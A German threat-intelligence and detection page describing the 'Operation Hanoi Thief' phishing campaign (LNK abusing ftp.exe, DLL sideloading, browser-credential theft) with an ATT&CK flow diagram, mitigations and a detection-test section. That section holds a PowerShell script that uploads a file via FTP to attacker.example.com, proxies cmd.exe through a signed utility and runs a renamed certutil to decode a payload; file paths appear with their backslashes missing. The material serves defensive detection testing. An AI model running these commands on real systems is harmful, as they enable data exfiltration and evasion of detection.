Operation Hanoi Dieb: Bedrohungsakteur trifft vietnamesische IT- und Einstellungsteams
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Eine Spear-Phishing-Operation mit dem Namen „Operation Hanoi Thief“ liefert ein bösartiges ZIP-Archiv, das eine Verknüpfung (LNK) und ein Pseudo-Polyglot-Dokument bündelt. Die Verknüpfung missbraucht ftp.exe zur Ausführung eines Batch-Skripts, das eine DLL namens MsCtfMonitor.dll in ProgramData ablegt und dann DLL-Sideloading über ctfmon.exe durchführt. Diese DLL, LOTUSHARVEST genannt, stiehlt Browser-Anmeldeinformationen und den Verlauf und exfiltriert die gesammelten Daten dann über HTTPS.
Analyse der Kampagne Operation Hanoi Thief
Forscher des SEQRITE Labs APT-Teams entpackten das ZIP-Archiv, dokumentierten die LNK-Kommandozeile, die ftp.exemissbraucht, beobachteten die Erstellung eines umbenannten certutil.exe Binaries und erkundeten die DLL-Sideloading-Kette. Sie erfassten weiter Netzindikatoren für die Datenexfiltration und schrieben die Kampagne einem wahrscheinlich von der chinesischen Regierung unterstützten Bedrohungsakteur zu.
Abhilfemaßnahmen
Verteidigungsrichtlinien umfassen das Blockieren der Ausführung verdächtiger LNK-Verknüpfungen, die Einschränkung der Verwendung nativer Windows-Tools wie ftp.exe und certutil.exe in nicht vertrauenswürdigen Skripten, die Durchsetzung von Kontrollen über DLL-Ladepfade und die Überwachung ausgehenden HTTPS-Verkehrs zu unbekannten Domains. Organisationen sollten auch eine strikte Filterung von E-Mail-Anhängen anwenden und die Benutzerschulung zu phishingähnlichen Verlockungen zum Thema Lebenslauf verstärken.
Reaktion
Lösen Sie Alarme aus, wenn MsCtfMonitor.dll in ProgramData erscheint, ftp.exe mit dem -s-Flag ausgeführt wird und ausgehende Anfragen an bekannte bösartige Domains gestellt werden. Quarantäne jeglicher betroffener Dateien, isolieren Sie den kompromittierten Endpunkt und führen Sie eine Passwort- und Anmeldeinformationsrotation für betroffene Browser durch.
mermaid graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffcc99 classDef process fill:#ff9966 classDef malware fill:#ff6666 classDef operator fill:#ff9900 %% Nodes action_phishing[„<b>Aktion</b> – <b>T1566.001 Phishing: Spearphishing-Anhang</b><br />Adversar sendet ein bösartiges ZIP-Archiv an Zielbenutzer“] class action_phishing action file_malicious_zip[„<b>Datei</b> – Name: Le‑Xuan‑Son_CV.zip<br />Enthält CV.pdf.lnk und getarnte PDF/PNG“] class file_malicious_zip file action_user_exec[„<b>Aktion</b> – <b>T1204.002 Benutzer-Ausführung: Bösartige Datei</b><br />Opfer entpackt das Archiv und öffnet die Verknüpfung“] class action_user_exec action file_lnk[„<b>Datei</b> – Name: CV.pdf.lnk (Verknüpfung)“] class file_lnk file action_shortcut_mod[„<b>Aktion</b> – <b>T1547.009 Boot oder Logon Autostart-Ausführung: Verknüpfungsmodifikation</b><br />LNK führt ftp.exe mit -s-Argument aus“] class action_shortcut_mod action tool_ftp[„<b>Tool</b> – Name: ftp.exe (Windows-SystemBinary)“] class tool_ftp tool action_proxy_exec[„<b>Aktion</b> – <b>T1218 System-Binary-Proxy-Ausführung</b><br />Legitime Binaries werden missbraucht, um versteckte Befehle auszuführen“] class action_proxy_exec action tool_device_cred_deploy[„<b>Werkzeug</b> – Name: DeviceCredentialDeployment.exe“] class tool_device_cred_deploy tool tool_certutil[„<b>Werkzeug</b> – Name: certutil.exe“] class tool_certutil tool action_masquerade[„<b>Aktion</b> – <b>T1036.008 Maskierung: Dateityp<br>T1036.007 Maskierung: Doppelte Erweiterung</b><br />Payload getarnt als PDF/PNG und später umbenannt“] class action_masquerade action file_masq_pdf[„<b>Datei</b> – Name: offsec‑certified‑professional.png (eigentlich PDF)“] class file_masq_pdf file action_compression[„<b>Aktion</b> – <b>T1027.015 Verschleierte Dateien oder Informationen: Kompression</b><br />ZIP wird verwendet, um bösartigen Payload zu liefern“] class action_compression action action_compile_after_delivery[„<b>Aktion</b> – <b>T1027.004 Kompilieren nach der Lieferung</b><br />Base64-codierte DLL aus Polyglot-Skript extrahiert“] class action_compile_after_delivery action action_dll_sideload[„<b>Aktion</b> – <b>T1574.002 DLL-Sideloading</b><br />Bösartige DLL neben ctfmon.exe platziert“] class action_dll_sideload action file_ctfmon_exe[„<b>Datei</b> – Name: ctfmon.exe (in Arbeitsverzeichnis kopiert)“] class file_ctfmon_exe file file_malicious_dll[„<b>Datei</b> – Name: MsCtfMonitor.dll (bösartig)“] class file_malicious_dll malware action_process_injection[„<b>Aktion</b> – <b>T1055.001 Prozessinjektion: DLL-Injektion</b><br />Seitengeladene DLL, die durch ctfmon.exe geladen wird, führt Angreifercode aus“] class action_process_injection action action_browser_discovery[„<b>Aktion</b> – <b>T1217 Browser-Informationsabfrage</b><br />DLL liest Chrome- und Edge-SQLite-Datenbanken für URLs“] class action_browser_discovery action action_credential_extraction[„<b>Aktion</b> – <b>T1555.003 Anmeldeinformationen aus Webbrowsern</b><br />Passwörter entschlüsselt über CryptUnprotectData“] class action_credential_extraction action action_exfiltration_auto[„<b>Aktion</b> – <b>T1020 Automatisierte Exfiltration</b><br />Daten vorbereitet zur Exfiltration über HTTPS“] class action_exfiltration_auto action action_exfiltration_c2[„<b>Aktion</b> – <b>T1041 Exfiltration über C2-Kanal</b><br /><b>T1102 Webservice</b><br />Daten werden über HTTP POST an Angreiferdomain gesendet“] class action_exfiltration_c2 action %% Connections action_phishing u002du002d>|liefert| file_malicious_zip file_malicious_zip u002du002d>|enthält| file_lnk file_lnk u002du002d>|ausgelöst durch| action_user_exec action_user_exec u002du002d>|führt zu| action_shortcut_mod action_shortcut_mod u002du002d>|führt aus| tool_ftp tool_ftp u002du002d>|verwendet in| action_proxy_exec action_proxy_exec u002du002d>|verwendet auch| tool_device_cred_deploy action_proxy_exec u002du002d>|verwendet auch| tool_certutil action_shortcut_mod u002du002d>|verwendet| action_masquerade action_masquerade u002du002d>|erstellt| file_masq_pdf action_masquerade u002du002d>|setzt auf| action_compression action_compression u002du002d>|ermöglicht| action_compile_after_delivery action_compile_after_delivery u002du002d>|produziert| file_malicious_dll action_compile_after_delivery u002du002d>|bereitet vor| action_dll_sideload action_dll_sideload u002du002d>|platziert DLL mit| file_ctfmon_exe action_dll_sideload u002du002d>|platziert| file_malicious_dll file_ctfmon_exe u002du002d>|lädt| file_malicious_dll file_malicious_dll u002du002d>|führt durch| action_process_injection action_process_injection u002du002d>|ermöglicht| action_browser_discovery action_browser_discovery u002du002d>|liefert Daten an| action_credential_extraction action_credential_extraction u002du002d>|liefert Daten an| action_exfiltration_auto action_exfiltration_auto u002du002d>|sendet Daten über| action_exfiltration_c2 %% Class Assignments class tool_ftp tool class tool_device_cred_deploy tool class tool_certutil tool class file_malicious_zip file class file_lnk file class file_masq_pdf file class file_ctfmon_exe file class file_malicious_dll malware
Angriffsablauf
Erkennungen
Operation Hanoi Thief: Datenexfiltrationserkennung [Windows-Netzwerkverbindung]
Ansehen
Erkennung von Aktivitäten der Operation Hanoi Thief [Windows-Prozesserstellung]
Ansehen
IOCs (HashSha256) zur Erkennung: Operation Hanoi Thief: Bedrohungsakteur zielt auf vietnamesische IT-Fachleute und Rekrutierungsteams ab
Ansehen
Verwendung von Certutil zur Datenkodierung und Cert-Operationen (über cmdline)
Ansehen
Verdächtige extrahierte Dateien aus einem Archiv (über file_event)
Ansehen
Simulation Ausführung
Voraussetzung: Der Telemetrie- & Baseline-Pre-Flight-Check muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Adversary-Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die von der Erkennungslogik erwartete Telemetrie zu erzeugen.
-
Angriffserzählung & Befehle:
Ein Angreifer, der Zugriff auf eine wenig privilegierte Shell auf einem kompromittierten Windows-Rechner hat, möchte Daten exfiltrieren und unauffällig bleiben.- Stufe 1 – FTP-Skriptausführung: Der Angreifer erstellt ein temporäres Skript
upload.txtmit FTP-Befehlen und führtftp.exe -s upload.txtaus, um Dateien auf einen externen Server zu übertragen. - Stufe 2 – Proxy-Befehlsausführung: Um die Verwendung von
cmd.exezu verbergen, startet der AngreiferDeviceCredentialDeployment.exemit dem Argumentcmd.exe /c whoami; das signierte Utility startet eine versteckte Befehlszeile und umgeht einfache Prozessnamen-Alarme. - Stufe 3 – Maskierte certutil-Nutzung: Der Angreifer kopiert
certutil.exenachC:Templala.exeund führtlala.exe -decode malicious.b64 output.exeaus, um Payloads zu decodieren, wobei die Umbenennung genutzt wird, um dateinamenbezogene Erkennungen zu umgehen.
- Stufe 1 – FTP-Skriptausführung: Der Angreifer erstellt ein temporäres Skript
-
Regressionstest-Skript: Das folgende PowerShell-Skript reproduziert die drei Schritte auf wiederholbare Weise.
# Regressionstest-Skript – löst die Erkennungsregel aus # 1. FTP mit -s-Flag $ftpScript = "$env:TEMPupload.txt" @" open attacker.example.com user testuser testpass put C:WindowsSystem32notepad.exe notepad.exe quit "@ | Set-Content -Path $ftpScript -Encoding ASCII Start-Process -FilePath "C:WindowsSystem32ftp.exe" -ArgumentList "-s `"$ftpScript`"" -NoNewWindow -Wait # 2. DeviceCredentialDeployment.exe Proxying cmd.exe $dccPath = "C:Program FilesDeviceCredentialDeploymentDeviceCredentialDeployment.exe" if (Test-Path $dccPath) { Start-Process -FilePath $dccPath -ArgumentList "cmd.exe /c whoami" -WindowStyle Hidden -Wait } else { Write-Host "DeviceCredentialDeployment.exe nicht gefunden – überspringe Schritt 2." } # 3. Maskierte certutil-Ausführung $original = "$env:SystemRootSystem32certutil.exe" $masq = "$env:TEMPlala.exe" Copy-Item -Path $original -Destination $masq -Force $payload = "$env:TEMPmalicious.b64" $output = "$env:TEMPdecoded.exe" # Erstelle einen Dummy-Base64-Payload [IO.File]::WriteAllText($payload, [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("echo malicious"))) Start-Process -FilePath $masq -ArgumentList "-decode `"$payload`" `"$output`"" -NoNewWindow -Wait -
Cleanup-Befehle: Entferne während des Tests erstellte Artefakte.
# Cleanup-Skript Remove-Item -Path "$env:TEMPupload.txt" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPmalicious.b64" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPdecoded.exe" -ErrorAction SilentlyContinue Remove-Item -Path "$env:TEMPlala.exe" -ErrorAction SilentlyContinue Write-Host "Bereinigung abgeschlossen."